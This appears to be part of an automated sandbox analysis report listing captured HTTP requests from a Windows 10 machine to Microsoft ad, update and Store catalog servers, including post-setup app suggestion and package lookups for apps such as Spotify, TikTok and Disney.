Source: global trafficHTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170305Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d45161c0491847028507c79db5d70c07&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-310091&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=Cache-Control: no-cacheMS-CV: BYqskdYKuUKf7ZeJ.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170223Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170227Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=SpotifyAB.SpotifyMusic_zpdnekdrzrea0&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Install ServiceMS-CV: kkb781LL8EaQlxCb.0.2.4Host: displaycatalog.mp.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170230Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170232Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170234Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170235Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170237Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.YourPhone_8wekyb3d8bbwe&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Install ServiceMS-CV: 6bD/MunolEWqHDEG.0.2.4Host: displaycatalog.mp.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170238Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170240Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170241Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170243Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170245Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220408T170247Z&asid=e4896368b6a64edb9547962c054e1d7c&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170253Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170257Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.BingNews_8wekyb3d8bbwe&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Install ServiceMS-CV: t1Ts41I1nkyKVrtC.0.2.4Host: displaycatalog.mp.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170259Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170302Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170304Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170306Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170308Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170310Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220408T170315Z&asid=ac8063a32da047dabe6fd5f6a689fb6c&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=6F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Install ServiceMS-CV: ADE0AIiAz0+Cj5BW.0.2.4Host: displaycatalog.mp.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Disney.37853FC22B2CE_6rarf9sa4v8jt&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Install ServiceMS-CV: RETjtPaEwECyiDEt.0.2.4Host: displaycatalog.mp.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=BytedancePte.Ltd.TikTok_6yccndn6064se&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Install ServiceMS-CV: ZSKdUuY0ZkeYnvBI.0.2.4Host: displaycatalog.mp.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global trafficHTTP traffic detected: GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AdobeSystemsIncorporated.AdobePhotoshopExpress_ynb6jyjzte8ga&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Install ServiceMS-CV: n1sA5W1j10WVDp3K.0.2.4Host: displaycatalog.mp.microsoft.com
